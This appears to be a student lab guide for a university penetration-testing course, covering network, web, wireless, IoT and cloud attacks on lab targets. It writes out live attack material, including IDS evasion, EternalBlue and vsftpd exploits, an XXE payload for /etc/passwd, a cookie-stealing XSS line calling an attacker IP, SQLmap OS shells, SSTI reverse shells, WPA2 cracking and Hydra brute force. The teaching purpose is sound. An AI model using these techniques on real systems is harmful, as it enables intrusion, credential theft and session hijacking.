CYS-253-MJ-P

Practical Lab Book — Student Reference Guide

Command Explanations | Output Identification | Verification Checklists

S.Y.B.Sc. Cyber Security • Semester IV • AY 2025-2026

Savitribai Phule Pune University | ASM College, Pune

HOW TO USE THIS GUIDE

This guide is divided into 6 labs. For every task you will find:

- A command reference table — what each command and flag does
- A GREEN box — what to write in your Observations section
- A BLUE box — how to verify your output is correct
- An ORANGE box — common errors and important notes

LAB 1 — Advanced Network Penetration Testing

CO1: Perform advanced network pentesting including firewall evasion, IDS/IPS bypass, and exploitation of network vulnerabilities.

Task 1.1 — Advanced Nmap Scanning with IDS/IPS Evasion

Command Reference Table

Command / Flag	What it does	Expected Output	How to Verify
`ping 192.168.1.20`	Tests basic network connectivity to target IP before scanning	Reply from 192.168.1.20: bytes=32 time<1ms TTL=64	If you get replies the host is reachable. If Request timed out, check VM network settings.
`nmap -p- 192.168.1.20 -v`	Scans ALL 65535 ports (-p-) with verbose output (-v) for a full baseline	List of open/closed ports with service names and states	You should see at least ports 21,22,23,25,80,139,445 open on Metasploitable
`nmap -f 192.168.1.20`	-f fragments packets into 8-byte chunks to evade simple IDS signature matching	Same port list but packets appear fragmented in Wireshark capture	Open Wireshark simultaneously. Filter: ip.frag_offset > 0 — fragmented packets should appear
`nmap -D RND:5 192.168.1.20`	-D adds 5 random decoy IPs so the real attacker IP is hidden among fake sources	Port scan results with multiple source IPs visible in IDS logs	Check /var/log/snort or IDS console — you should see 6 different source IPs instead of 1
`nmap -T1 192.168.1.20`	-T1 (Sneaky) slows scan speed drastically to avoid rate-based IDS detection	Same ports found but scan takes several minutes instead of seconds	Compare time taken: -T5 takes ~30s, -T1 takes 5-15 min. Both should find same ports.
`nmap -sI 192.168.1.50 192.168.1.20`	-sI uses a 'zombie' idle host (192.168.1.50) to send probe packets so attacker IP is never seen	Port scan results attributed to zombie host IP, not attacker	Check IDS logs — the zombie IP appears as the scanner, not 192.168.1.10
`nmap -sV --version-intensity 9 192.168.1.20`	-sV detects service versions; --version-intensity 9 tries all version probes for maximum detail	Port 21: vsftpd 2.3.4, Port 22: OpenSSH 4.7p1, Port 445: Samba 3.0.20 etc.	Version numbers must match known Metasploitable versions. Any 'unknown' means probe failed.

✔ **WHAT TO WRITE IN YOUR OBSERVATION**

Fill Table 1 in your lab book with these columns:
Port | Service | Version | State | Evasion Technique Used | Detected by IDS? (Yes/No/Partial)
Example row: 21 | FTP | vsftpd 2.3.4 | open | Fragment (-f) | No
Screenshot required: Terminal showing nmap -sV output with version numbers visible
Screenshot required: Wireshark capture showing fragmented packets when using -f flag
Note which technique was hardest for IDS to detect (usually -T1 or -sI)

HOW TO CHECK CORRECT OUTPUT

CORRECT output of nmap -p- on Metasploitable should show at minimum: ports 21,22,23,25,80,139,445,3306
CORRECT fragmentation: in Wireshark use filter 'ip.frag_offset > 0' — you should see multiple small packets
CORRECT -D output: nmap shows same port results regardless of decoy — the PORTS found should be identical
WRONG: If nmap says '0 hosts up' — your target VM is off or on wrong network segment
WRONG: If -sI fails with 'idle scan zombie has changed IP' — choose a different zombie host

⚠ **COMMON ERROR / NOTE**

The -sI (idle scan) requires a truly idle host. If 192.168.1.50 is busy/active it will not work.
If nmap returns 'filtered' instead of 'open' for a port, a firewall rule is blocking you — this is EXPECTED behaviour, note it.
Always run the basic -p- scan first to establish your baseline before testing evasion techniques.

Task 1.2 — Exploiting SMB/SNMP/FTP with Metasploit

Command Reference Table

Command / Flag	What it does	Expected Output	How to Verify
`msfconsole`	Launches the Metasploit Framework interactive console	msf6 > prompt appears	If you see 'msf6 >' you are inside Metasploit. 'Command not found' means Metasploit is not installed.
`use auxiliary/scanner/smb/smb_enumshares`	Loads the SMB share enumeration module — lists all shared folders on target	Module prompt changes to: msf6 auxiliary(smb_enumshares) >	Module name appears in the prompt. Type 'info' to confirm correct module is loaded.
`set RHOSTS 192.168.1.20`	Sets the target IP address for the module to attack	RHOSTS => 192.168.1.20 confirmation message	Type 'show options' to confirm RHOSTS is set correctly before running
`run`	Executes the currently loaded module against the configured target	List of SMB shares: [+] 192.168.1.20 - \\192.168.1.20\tmp ...	Output shows share names. [+] means found, [-] means failed. Metasploitable has /tmp, /home

			shares.
`use exploit/windows/smb/ms17_010_eternalblue`	Loads EternalBlue (MS17-010) exploit — the famous WannaCry vulnerability targeting SMB port 445	Module prompt changes to ms17_010_eternalblue	Type 'info' to see CVE number, affected versions, and rank (Excellent or Average)
`set PAYLOAD windows/meterpreter/reverse_tcp`	Sets the payload: Meterpreter reverse shell means target connects BACK to attacker	PAYLOAD => windows/meterpreter/reverse_tcp	Type 'show options' — both RHOSTS (target) and LHOST (your IP) must be set
`use exploit/unix/ftp/vsftpd_234_backdoor`	Loads exploit for vsftpd 2.3.4 backdoor — a deliberate backdoor in that FTP version	Module prompt changes to vsftpd_234_backdoor	Check: port 21 must be open and running vsftpd 2.3.4 (confirmed from Task 1.1 nmap scan)
`meterpreter > sysinfo`	After shell gained: displays target system info — hostname, OS, architecture	Computer: metasploitable, OS: Linux 2.6.24, Arch: x86	Hostname should match target VM name. This PROVES you have shell access.
`meterpreter > getuid`	Displays the current user your shell is running as on the target	Server username: root OR uid=0(root)	If you see 'root' the exploit fully succeeded. If you see a low-priv user, privilege escalation is needed.

✔️ WHAT TO WRITE IN YOUR OBSERVATION

Fill Table 2 in your lab book:
Service | Port | Vulnerability | Exploit Module Used | Success (Yes/No) | Shell Gained (Yes/No)
For SMB: Service=SMB, Port=445, Vulnerability=EternalBlue MS17-010, Success=Yes, Shell=Yes
Screenshot required: msfconsole running with 'run' output showing [*] Meterpreter session opened
Screenshot required: meterpreter > sysinfo output showing target OS info
Screenshot required: meterpreter > getuid output showing 'root' or user level
Write the CVSS score: MS17-010 = CVSS 9.3 (Critical). vsftpd backdoor = CVSS 10.0 (Critical)

HOW TO CHECK CORRECT OUTPUT

SUCCESS for EternalBlue: You see '[*] Meterpreter session 1 opened' and meterpreter > prompt appears
SUCCESS for FTP backdoor: You get a shell prompt ($ or #) at 192.168.1.20
CORRECT sysinfo: Shows Linux kernel version and Metasploitable hostname
WRONG: 'Exploit completed but no session was created' — target may already be patched or port 445 is filtered
WRONG: 'Connection refused' on FTP — check port 21 is open first using: nmap -p 21 192.168.1.20
If EternalBlue fails: Metasploitable 2 is Linux-based. EternalBlue targets Windows. Note this in observations.

⚠️ COMMON ERROR / NOTE

IMPORTANT: EternalBlue (MS17-010) is a Windows exploit. Metasploitable 2 is Linux. If testing Windows Server

target use that VM, not Metasploitable.
If you see 'A session may have been created for another user' — type 'sessions -l' to list active sessions
To close a Meterpreter session type 'exit' then 'sessions -K' to kill all sessions

Task 1.3 — MITM Attacks using Bettercap

Command / Flag	What it does	Expected Output	How to Verify
`sudo bettercap -iface eth0`	Launches Bettercap on the eth0 network interface in interactive mode	bettercap v2.x.x prompt appears	Interface name must match your actual adapter. Run 'ip a' to check — may be eth0 or ens33
`set arp.spoof.targets 192.168.1.20 / arp.spoof on`	Tells Bettercap which IP to spoof ARP for, then starts ARP poisoning to intercept traffic	[arp.spoof] targets: 192.168.1.20, ARP spoofing started	Run 'arp -a' on target machine. Gateway MAC should now be your attacker MAC — this confirms poisoning.
`set dns.spoof.domains example.com / dns.spoof on`	Redirects DNS queries for example.com to the attacker machine	[dns.spoof] example.com redirected to 192.168.1.10	On target: ping example.com — it should now ping 192.168.1.10 not the real IP
`http.proxy on`	Starts HTTP proxy to intercept and inspect unencrypted HTTP traffic	[http.proxy] started	Any HTTP (not HTTPS) request from target will now be visible in Bettercap output
`events.log /tmp/mitm_log.txt`	Saves all intercepted events to a log file for documentation	Log file created at /tmp/mitm_log.txt	After session: cat /tmp/mitm_log.txt — you should see all captured events with timestamps

✔️ **WHAT TO WRITE IN YOUR OBSERVATION**

Fill Table 3 in your lab book:
Timestamp | Protocol | Source IP | Dest IP | Request Type | Response Code | Sensitive Data Captured
Example: 10:15:45 | HTTP | 192.168.1.20 | 192.168.1.100 | POST /login | 302 | Username visible in plain text
Screenshot required: Bettercap terminal showing intercepted HTTP traffic with credentials or query visible
Screenshot required: arp -a output on TARGET machine showing spoofed gateway MAC
Note: Only HTTP traffic is visible. HTTPS traffic will show as encrypted — this is correct.

HOW TO CHECK CORRECT OUTPUT

ARP SPOOF WORKING: On target machine run 'arp -a' — the gateway (192.168.1.1) MAC should match your Kali MAC

HTTP INTERCEPT WORKING: Browse to any http:// site on target — Bettercap terminal shows the request
DNS SPOOF WORKING: ping example.com from target returns 192.168.1.10 not real IP
WRONG: If no traffic appears — check arp.spoof is actually ON using 'net.show'
WRONG: If HTTPS traffic shows as garbled/encrypted — this is CORRECT behaviour. HTTPS is protected against MITM.

⚠️ **COMMON ERROR / NOTE**
Use DVWA (http:// not https://) as the target application to generate capturable HTTP traffic.
Never run MITM tools on real networks. Lab environment only.
If Bettercap crashes: sudo bettercap -iface eth0 -caplet http-ui to use the web UI instead

Task 1.4 — DNS Spoofing

Command / Flag	What it does	Expected Output	How to Verify
`set dns.spoof.domains google.com,facebook.com / set dns.spoof.address 192.168.1.10`	Tells Bettercap to intercept DNS queries for these domains and return attacker IP	Domains registered for spoofing	Verify: nslookup google.com on target — should return 192.168.1.10 instead of real Google IP
`sudo python3 -m http.server 80`	Starts a simple web server on port 80 on attacker machine — spoofed victims will land here	Serving HTTP on 0.0.0.0 port 80	Browse to http://192.168.1.10 from target — you should see directory listing page
`sudo wireshark -i eth0 -f 'dns'`	Opens Wireshark capturing only DNS packets on eth0 interface	Wireshark window opens with live DNS traffic	DNS queries from target appear as green rows. Look for query for google.com answered with your IP.

✔️ **WHAT TO WRITE IN YOUR OBSERVATION**
Fill Table 4 in your lab book:
Time | Client IP | Query (Domain) | Original Answer (real IP) | Spoofed Answer (192.168.1.10) | Status
For DNSSEC-protected domains (e.g. youtube.com) — Status = Failed. This is EXPECTED. Note it.
Screenshot required: Wireshark capture showing DNS query and spoofed response
Screenshot required: Browser on target showing fake page at 192.168.1.10
Note: DNSSEC prevents spoofing. Write this as a finding in your security recommendations.

HOW TO CHECK CORRECT OUTPUT
SUCCESS: nslookup google.com on target returns 192.168.1.10 — not 172.217.x.x
SUCCESS: Wireshark shows DNS answer with your IP for spoofed domains
DNSSEC protection: youtube.com and some others will NOT be spoofed — this is correct, write it in observations

WRONG: If nslookup still returns real IP — check dns.spoof is on and ARP spoofing is active first

LAB 2 — Web Application Exploitation

CO2: Conduct in-depth web application security assessments using SQLi, XXE, SSRF, XSS, CSRF, SSTI.
Target application: DVWA at http://192.168.1.20/dvwa/ — Login: admin / password

Task 2.1 — SQL Injection using SQLmap

Command / Flag	What it does	Expected Output	How to Verify
`admin' OR '1'='1`	Classic SQL injection test in login form. The OR '1'='1' always evaluates to TRUE, bypassing password check	Logged in as admin without correct password	If you see 'Welcome admin' without entering real password — injection is working
`sqlmap -u "http://.../sqli/?id=1&Submit=Submit" --dbs`	--dbs flag tells SQLmap to list all databases after detecting the injection point	Available databases: [*] dvwa [*] information_schema [*] mysql	At least 'dvwa' and 'information_schema' must appear. SQLmap also shows injection type found.
`sqlmap ... -D dvwa --tables`	-D dvwa selects the 'dvwa' database; --tables lists all tables inside it	Database: dvwa — Tables: guestbook, users	Two tables should appear: 'users' (has credentials) and 'guestbook'
`sqlmap ... -D dvwa -T users --dump`	-T users selects the users table; --dump extracts ALL data from it including usernames and password hashes	Table: users — id, user, password, first_name, last_name, avatar columns with data	You should see admin, gordonb, 1337, pablo, smithy as users with their MD5 password hashes
`sqlmap ... --os-shell`	If DB user has FILE privileges, this attempts to get an OS command shell on the server	os-shell> prompt appears	Type 'id' at os-shell> — if it returns uid=33(www-data) you have command execution. This is highest impact.

✔️ **WHAT TO WRITE IN YOUR OBSERVATION**

Note the injection TYPE that SQLmap found — usually 'boolean-based blind', 'time-based blind', or 'UNION query-based'

Record all database names found by --dbs

Record all table names found in dvwa database

Screenshot required: SQLmap output showing 'Parameter id is vulnerable' confirmation

Screenshot required: The dumped users table showing usernames and password hashes

Screenshot required: os-shell output (if achieved) showing 'id' command result

Note: MD5 hashes in the password column look like: 5f4dcc3b5aa765d61d8327deb882cf99 (this is MD5 of 'password')

HOW TO CHECK CORRECT OUTPUT

SQLmap confirms vulnerability with: '[CRITICAL] parameter id is vulnerable'

Database dump SUCCESS: you see username 'admin' and a 32-character MD5 hash string in the users table

To verify an MD5 hash: echo -n 'password' | md5sum — if it matches the dumped hash, you have the plaintext

WRONG: 'all tested parameters do not appear to be injectable' — check DVWA security level is set to 'Low' in DVWA settings

WRONG: 403 Forbidden — make sure you are logged into DVWA first and copy your session cookie

⚠️ **COMMON ERROR / NOTE**

Set DVWA security to 'Low' before starting (DVWA Settings > Security Level > Low > Submit)

If SQLmap asks 'do you want to test this parameter?' — type Y and press Enter

The --os-shell may not work if the web server process does not have write permissions. Note this as a finding.

Task 2.2 — XXE (XML External Entity) Exploitation

Command / Flag	What it does	Expected Output	How to Verify
`<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>&xxe;`	The DOCTYPE declares an external entity named 'xxe' pointing to /etc/passwd. When &xxe; is referenced the server reads and returns the file.	Contents of /etc/passwd appear in the response	Look for 'root:x:0:0:root:/root:/bin/bash' in response — this is the first line of /etc/passwd
`Burp Suite Intercept ON`	Burp Suite proxy intercepts the HTTP request between browser and server so you can modify the XML body	Burp shows the raw HTTP request with XML body in Repeater	In Burp Proxy tab — you should see the raw POST request. Right-click and 'Send to Repeater' to modify and resend.
`file:///etc/shadow (Out-of-Band XXE)`	Attempts to read the shadow password file which contains hashed user passwords	Shadow file contents in response (if permissions allow)	If you get 'Permission denied' that is expected — www-data user cannot read /etc/shadow. Note this.

✔️ **WHAT TO WRITE IN YOUR OBSERVATION**

Screenshot required: Burp Suite Repeater showing the XXE payload in the request and /etc/passwd content in the response

Record which files were successfully read: /etc/passwd (usually YES), /etc/shadow (usually NO — permission denied)

Note the first 3 lines of /etc/passwd output — shows system users like root, daemon, www-data

Write in analysis: In-Band XXE = file contents returned directly in HTTP response. Out-of-Band XXE = data sent to external server.

HOW TO CHECK CORRECT OUTPUT

SUCCESS: Response body contains 'root:x:0:0' which is the first line of /etc/passwd

SUCCESS: Response Content-Type changes from JSON/HTML to the raw file content

WRONG: If you see the literal text &xxe; in the response — server is not processing external entities (XXE is patched)

WRONG: 'Connection refused' to external DTD server — Out-of-Band XXE requires an internet-accessible server to receive data

Task 2.3 — SSRF Exploitation

Command / Flag	What it does	Expected Output	How to Verify
`?url=http://127.0.0.1:3306`	SSRF payload: makes the SERVER send a request to its own port 3306 (MySQL). You cannot access 127.0.0.1 from your browser but the server can.	MySQL banner or error message returned from server's own MySQL port	If response contains 'mysql' or version string — SSRF works. If 'Connection refused' — port is closed.
`?url=http://192.168.1.20/admin/`	Makes server request its own admin panel — tests if internal-only paths are accessible via SSRF	Admin page HTML returned in the response	Look for admin panel HTML in response. This page would be blocked if accessed directly from your browser.
`?url=http://192.168.1.20:PORT (22, 80, 3306, 5432)`	Port scanning via SSRF: server probes its own ports and returns different responses for open vs closed	Different response times or error messages for open vs closed ports	Open port: fast response with banner. Closed port: fast 'Connection refused'. Filtered: slow timeout (30+ seconds).

✔ **WHAT TO WRITE IN YOUR OBSERVATION**

Record each URL tested and the server response received

Note response time differences — open ports respond in < 1 second, filtered ports timeout after 30+ seconds

Screenshot required: The URL parameter modified in Burp and the response showing internal service data

In analysis: explain that 127.0.0.1 requests come FROM the server so firewall rules that block external access are bypassed

HOW TO CHECK CORRECT OUTPUT

SUCCESS: Port 80 response returns the web server HTML (same content as direct browser access)

SUCCESS: Port 3306 response returns MySQL protocol banner data

WRONG: All ports return same response — the application may not be vulnerable or is sanitizing the URL

To identify open vs closed: compare response body length. Open ports return more data than closed ones.

Task 2.4 — XSS and CSRF Attacks

Command / Flag	What it does	Expected Output	How to Verify
`<script>alert('XSS')</script> in URL parameter`	Reflected XSS test: if the input is echoed back unsanitised, the script runs in the victim's browser	Alert popup box appears with text 'XSS'	If the alert box pops up — reflected XSS is confirmed. Screenshot the popup with URL visible.
`<script>document.location='http://192.168.1.10/?c='+document.cookie</script>`	Stored XSS that steals session cookies: when any user views this stored comment, their cookie is sent to attacker	Attacker web server (python http.server) receives GET request with cookie data	Check attacker terminal: you should see '?c=PHPSESSID=abc123...' in the access log
`CSRF HTML form (auto-submit to target)`	CSRF: a malicious page hosted by attacker auto-submits a form to the target site using the victim's active session	If victim visits malicious page while logged into target, action executes without their knowledge	Look for the action being performed in the target app — e.g. admin password changed or funds transferred

✔️ **WHAT TO WRITE IN YOUR OBSERVATION**

For XSS: record type (Reflected vs Stored), the payload used, and the result

Screenshot required: Alert popup visible with the full URL in the browser address bar

Screenshot required: Attacker's python http.server terminal showing cookie received

For CSRF: document the action that was performed and whether the victim saw any visible sign of it

In analysis: Stored XSS is more dangerous than Reflected because it persists and hits every user who views the page

HOW TO CHECK CORRECT OUTPUT

Reflected XSS confirmed: alert(XSS) popup appears when your crafted URL is visited

Stored XSS confirmed: cookie appears in attacker log EVEN WHEN a different user (different browser/session) views the page

CSRF confirmed: the action (e.g. password change) happens when victim visits the malicious page

WRONG: Alert says 'undefined' — cookie is empty. Check document.cookie path or use document.cookie+location.href

WRONG: No request in http.server log — check your attacker IP is reachable from target (ping test)

Task 2.5 — Server-Side Template Injection (SSTI)

Command / Flag	What it does	Expected Output	How to Verify
`{{7*7}} in input field`	Basic SSTI probe: if the template engine evaluates this expression and returns 49 instead of the literal text {{7*7}}, the field is vulnerable	Output shows 49 (not the text '{{7*7}}')	This is your FIRST check. If output = 49 then SSTI is confirmed. If output = {{7*7}}

			then no SSTI.
`{{7*'7'}}`	Engine fingerprinting: Jinja2 returns 7777777 (repeats string 7 times). Twig/PHP returns 49. Response tells you which engine is in use.	Jinja2: 7777777 | Twig: 49 | ERB/Ruby: error	This tells you WHICH template engine to write your exploit for
`{{config.items()}}`	Jinja2 specific: dumps all application configuration including secret keys, database URLs, debug mode	Long list of config key-value pairs including SECRET_KEY, DATABASE_URI	Look for SECRET_KEY in output — this is a critical finding that allows session forgery
`Reverse shell via SSTI`	Full RCE payload: executes OS command via Python subprocess through template injection	Reverse shell connection received on attacker's nc listener	Set up listener first: nc -lvnp 4444, then trigger payload. Listener should show connection from target.

✔ WHAT TO WRITE IN YOUR OBSERVATION

Start with {{7*7}} — record whether output is 49 (vulnerable) or literal text (not vulnerable)
Then try {{7*'7'}} to identify the template engine
Screenshot required: Input field showing {{7*7}} submitted and page output showing 49
Screenshot required: config.items() output showing application secrets
Screenshot required: Reverse shell received in netcat listener (if achieved)
In analysis: SSTI is critical because it gives full server code execution — rated CVSS 9.8+

HOW TO CHECK CORRECT OUTPUT

{{7*7}} = 49 in output confirms SSTI — this is the single most important verification step
{{7*'7'}} = 7777777 confirms Jinja2 engine — use Jinja2-specific payloads from here
RCE confirmed: commands typed in nc listener execute on target server
WRONG: Output shows {{7*7}} literally — no SSTI. Try different delimiters: ${7*7}, <%= 7*7 %>, #{7*7}
WRONG: Reverse shell keeps closing — add 'exec bash' or use bash -i persistent shell

LAB 3 — Wireless and IoT Hacking

CO3: Analyse and exploit security flaws in wireless networks and IoT devices.

Task 3.1 — WPA2/WPA3 Cracking with Aircrack-ng

Command / Flag	What it does	Expected Output	How to Verify
`sudo airmon-ng start wlan0`	Puts the wireless adapter into monitor mode — required to capture all nearby Wi-Fi traffic, not just traffic addressed to you	Interface 'wlan0mon' created	Run 'iwconfig' — you should see wlan0mon with Mode:Monitor. If still shows Mode:Managed, monitor mode failed.
`sudo airodump-ng wlan0mon`	Scans all visible Wi-Fi networks showing BSSID (router MAC), channel, encryption type, and connected clients	Table showing all nearby APs with BSSID, CH, ENC, ESSID columns	Look for your target lab AP. Note its BSSID and Channel before proceeding.
`sudo airodump-ng wlan0mon --bssid AA:BB:CC:DD:EE:FF -c 6 -w capture`	--bssid focuses on one AP, -c 6 locks to channel 6, -w capture saves packets to capture.cap for cracking	Focused capture on target AP showing connected clients in lower section	Capture file created. Run 'ls -la' — you should see capture-01.cap, capture-01.csv, etc.
`sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon`	Sends 10 deauthentication frames to disconnect all clients from the AP — forces them to reconnect and capture the 4-way handshake	10 deauth frames sent	In the airodump-ng window: look for 'WPA handshake: AA:BB:CC:DD:EE:FF' in top-right corner — this confirms capture
`sudo aircrack-ng -w wordlist.txt capture-01.cap`	-w specifies the wordlist file. Aircrack tests each password against the captured handshake hash	KEY FOUND! [password123] or 'Passphrase not in dictionary'	KEY FOUND means cracking succeeded. The password appears in square brackets. Time taken depends on wordlist size and CPU.

✔️ **WHAT TO WRITE IN YOUR OBSERVATION**

Record: Target BSSID, ESSID (network name), Channel, Encryption type (WPA/WPA2/WPA3)

Screenshot required: airodump-ng showing 'WPA handshake: [BSSID]' message — this confirms capture

Screenshot required: aircrack-ng output showing 'KEY FOUND!' with password visible

Note time taken to crack the password and size of wordlist used

WPA3 note: Write that WPA3 uses SAE (Simultaneous Authentication of Equals) which prevents offline dictionary attacks — this is a security improvement

HOW TO CHECK CORRECT OUTPUT

HANDSHAKE CAPTURED: airodump-ng top-right shows 'WPA handshake: XX:XX:XX:XX:XX:XX'

CRACK SUCCESS: aircrack-ng shows 'KEY FOUND! [thepassword]' — test the password on the AP to fully verify

WRONG: 'Passphrase not in dictionary' — the password is not in your wordlist. Use a larger wordlist like rockyou.txt

WRONG: 'No valid WPA handshakes found' — deauth did not work. Wait for a client to naturally reconnect, or repeat deauth.

WRONG: wlan0mon not created — your wireless adapter may not support monitor mode. Check with 'airmon-ng check'

Task 3.2 — IoT Device Exploitation

Command / Flag	What it does	Expected Output	How to Verify
`sudo nmap -p 80,443,8080,8443 192.168.1.0/24`	Scans the entire subnet for devices with common web management ports — finds IoT devices with web interfaces	List of devices with open HTTP/HTTPS ports	Any device with port 8080 open is likely an IoT device. Check if it has a web login page.
`hydra -l admin -P wordlist.txt telnet://192.168.1.50`	Brute-force password attack on the target device's Telnet port using common passwords in wordlist. -l admin sets the username.	[192.168.1.50] [telnet] login: admin password: admin123	SUCCESS: Hydra shows the working password. WRONG: '0 of 1 completed, 0 valid password' = not found in wordlist
`binwalk firmware.bin`	Extracts and analyses firmware binary file — identifies embedded filesystems, compressed data, and executable code	List of offsets with file types: JFFS2 filesystem, gzip compressed data, ELF executable	Look for filesystem entries (JFFS2, SquashFS, cramfs) — these contain the actual OS and configuration files
`http://[IP]/api/command?cmd=ls+-la`	Command injection test: if the API passes URL parameters directly to OS commands without sanitisation, ls -la runs on the server	Directory listing of the server filesystem	If you see file listings (/bin, /usr, /etc etc.) — command injection is confirmed. This is a critical vulnerability.

✔ **WHAT TO WRITE IN YOUR OBSERVATION**

List all IoT devices discovered on the subnet with their IPs and open ports

For default credential test: record which username/password combination worked

Screenshot required: Hydra output showing successful login with password

Screenshot required: Command injection URL in browser and directory listing in response

Note firmware analysis findings: any hardcoded passwords, outdated library versions, or default credentials found

HOW TO CHECK CORRECT OUTPUT

Default creds found: Hydra shows '[telnet] login: admin password: [password]'

Command injection: directory listing or file contents appear where normal text should be

WRONG: Hydra 'Connection refused' — device Telnet port is not 23, check with nmap -p- first

WRONG: Binwalk shows nothing — try binwalk -e firmware.bin to force extraction

Task 3.3 — Bluetooth and RFID

Command / Flag	What it does	Expected Output	How to Verify
`bluetoothctl / scan on`	Opens the Bluetooth control interface and starts scanning for nearby Bluetooth devices	List of discovered devices with MAC addresses and names	Devices appear as: [NEW] Device XX:XX:XX:XX:XX:XX DeviceName. Note the MAC of your target device.
`pair [MAC] / connect [MAC]`	Attempts to pair with and connect to the target Bluetooth device — exploits default or no-PIN pairing	Pairing successful / Connection successful	Run 'info [MAC]' after connecting — if it shows 'Connected: yes' and 'Paired: yes' the connection is established
`Proxmark3 RFID read`	Reads data from RFID cards (key cards, access badges) in close proximity using the Proxmark3 hardware tool	Card UID, card type, and raw data bytes	The UID is a unique identifier — record it. If you can read it you can potentially clone it.

✔️ **WHAT TO WRITE IN YOUR OBSERVATION**

List all Bluetooth devices discovered with their MAC addresses and device names

Record connection status: paired and connected, or failed with error message

For RFID: record the card UID, card type (Mifare Classic, HID, etc.), and raw data

Screenshot required: bluetoothctl output showing device list and connection

Note: Many modern devices require explicit user confirmation for pairing — write this as a security control observation

LAB 4 — Cloud Security Assessment

CO4: Assess security risks in AWS/Azure/GCP and identify misconfigurations.

Note: All tasks use an AWS lab account or LocalStack/mock environment. NEVER test on real production AWS accounts without explicit written permission.

Task 4.1 — AWS S3 Bucket Enumeration

Command / Flag	What it does	Expected Output	How to Verify
`aws configure`	Sets up AWS CLI with your access key, secret key, and default region — required before any AWS CLI commands will work	Prompts for: Access Key ID, Secret Access Key, Region, Output format	Run 'aws sts get-caller-identity' after setup — it should return your account ID and username
`aws s3 ls`	Lists all S3 buckets in the authenticated account	List of bucket names with creation dates	Each bucket name is unique globally. Record all bucket names for further testing.
`aws s3 ls s3://bucket-name/ --no-sign-request`	--no-sign-request tests PUBLIC access — simulates an unauthenticated attacker. If it returns files, the bucket is publicly readable (CRITICAL finding).	File listing if public, AccessDenied if private	If files are listed without authentication — this is a misconfiguration. Note as CRITICAL severity finding.
`aws s3api get-bucket-acl --bucket bucket-name`	Retrieves the Access Control List for the bucket — shows who has what permissions	JSON output showing Grants with Grantee and Permission fields	Look for 'AllUsers' or 'AuthenticatedUsers' in Grantee — either means the bucket is over-exposed
`aws s3 cp s3://bucket-name/file.txt . --no-sign-request`	Attempts to download a file from the bucket without authentication — confirms data is actually accessible	Download: file.txt of size X bytes	If file downloads successfully without credentials — sensitive data is exposed. Screenshot the downloaded content.

✔️ **WHAT TO WRITE IN YOUR OBSERVATION**

Create a table: Bucket Name | Public Access? (Yes/No) | Files Count | Sensitive Files Found

Screenshot required: aws s3 ls output showing bucket list

Screenshot required: Attempted public access and whether it succeeded or returned AccessDenied

If sensitive files found: list their names and type (credentials, config, PII, etc.) — do NOT include actual contents in report

Record the ACL for each bucket — note any AllUsers grants as Critical findings

HOW TO CHECK CORRECT OUTPUT

CREDENTIALS WORKING: 'aws sts get-caller-identity' returns your account number without error
MISCONFIGURATION FOUND: --no-sign-request returns file list (not AccessDenied)
CORRECT BUCKET: ACL shows only owner with FULL_CONTROL — this is properly secured
WRONG: 'NoCredentialProviders' — run aws configure again
WRONG: 'InvalidBucketName' — bucket names are globally unique, check the exact name

Task 4.2 — IAM Policy Misconfiguration

Command / Flag	What it does	Expected Output	How to Verify
`aws iam list-users`	Lists all IAM users in the account — gives you a map of all identities to investigate	JSON array of users with UserName, UserId, CreateDate, ARN	Note all usernames. Check CreateDate — any very old accounts with no recent login are security risks.
`aws iam list-user-policies --user-name [USER]`	Lists inline policies directly attached to a specific user	PolicyNames array in JSON	If user has a policy named 'AdministratorAccess' or 'FullAccess' — investigate it further
`aws iam get-user-policy --user-name [USER] --policy-name [POLICY]`	Shows the actual JSON policy document — reveals EXACTLY what the user can do	JSON policy with Effect, Action, Resource fields	Look for Action: '*' and Resource: '*' — this means full admin access to everything. This is overly permissive.
`aws sts assume-role --role-arn arn:aws:iam::ACCOUNT:role/ROLE --role-session-name test`	Attempts to assume (use) a higher-privileged role — tests for privilege escalation paths	Credentials JSON with AccessKeyId, SecretAccessKey, SessionToken (if allowed)	If you receive temporary credentials — you have escalated to that role's privilege level. Test what you can now do.

✔️ **WHAT TO WRITE IN YOUR OBSERVATION**

Record each user found and their attached policies
Note any policies with Action: '*' (wildcard) — this is the most critical misconfiguration
Screenshot required: Policy JSON showing overly broad permissions
Screenshot required: Successful role assumption if privilege escalation works
Create a privilege escalation path diagram: User A -> assume Role B -> get admin access

HOW TO CHECK CORRECT OUTPUT

OVERLY PERMISSIVE: Policy shows Action: '*' Resource: '*' — this grants every possible AWS permission
PRIVILEGE ESCALATION: assume-role succeeds and new credentials have higher permissions than original user
CORRECT CONFIG: Policies list specific services like Action: 's3:GetObject' on specific resources
WRONG: 'AccessDenied' on assume-role — role does not trust your user. Check the trust policy.

Task 4.3 — Container Security (Docker & Kubernetes)

Command / Flag	What it does	Expected Output	How to Verify
`docker inspect [IMAGE-ID]`	Shows full configuration of a Docker image including environment variables, exposed ports, volumes, and entrypoint commands	Large JSON output with Config, NetworkSettings, HostConfig sections	Look for ENV variables in Config section — hardcoded passwords like MYSQL_ROOT_PASSWORD=secret are critical findings
`trivy image [IMAGE-NAME]:[TAG]`	Scans container image for known CVEs in installed packages. Trivy checks against NVD and OS vendor databases.	Table of vulnerabilities: CVE ID, Severity, Package, Version, Fixed Version	Count CRITICAL and HIGH findings. Any CRITICAL CVE that is fixable (has a Fixed Version) is a priority remediation.
`kubectl get pods -o wide`	Lists all running pods in the Kubernetes cluster with their IPs, nodes, and status	Table: NAME, READY, STATUS, RESTARTS, AGE, IP, NODE	Look for STATUS=Running (good) vs STATUS=CrashLoopBackOff (error). Note any pods with many RESTARTS — indicates instability.
`kubectl get pods -o json | grep -i privileged`	Searches all pod configurations for privileged=true setting — privileged containers have root access to the host system	Output shows privileged: true if found	ANY result here is a critical finding. Privileged containers can escape to the host and compromise the entire cluster.

✔️ **WHAT TO WRITE IN YOUR OBSERVATION**
List Docker images found with their tags and vulnerability counts by severity (CRITICAL, HIGH, MEDIUM, LOW)
Record any hardcoded secrets found in docker inspect ENV output
Screenshot required: trivy image output showing vulnerability table
Screenshot required: kubectl get pods output
If privileged pods found: record their names and which namespace they are in
Note: A privileged container escape allows the attacker to access ALL containers on that host

HOW TO CHECK CORRECT OUTPUT

Trivy WORKING: Output shows summary table even if 0 vulnerabilities (Total: 0 meaning clean image)

kubectl WORKING: You see pod names and STATUS:Running

CRITICAL FINDING: grep returns 'privileged: true' — screenshot this immediately

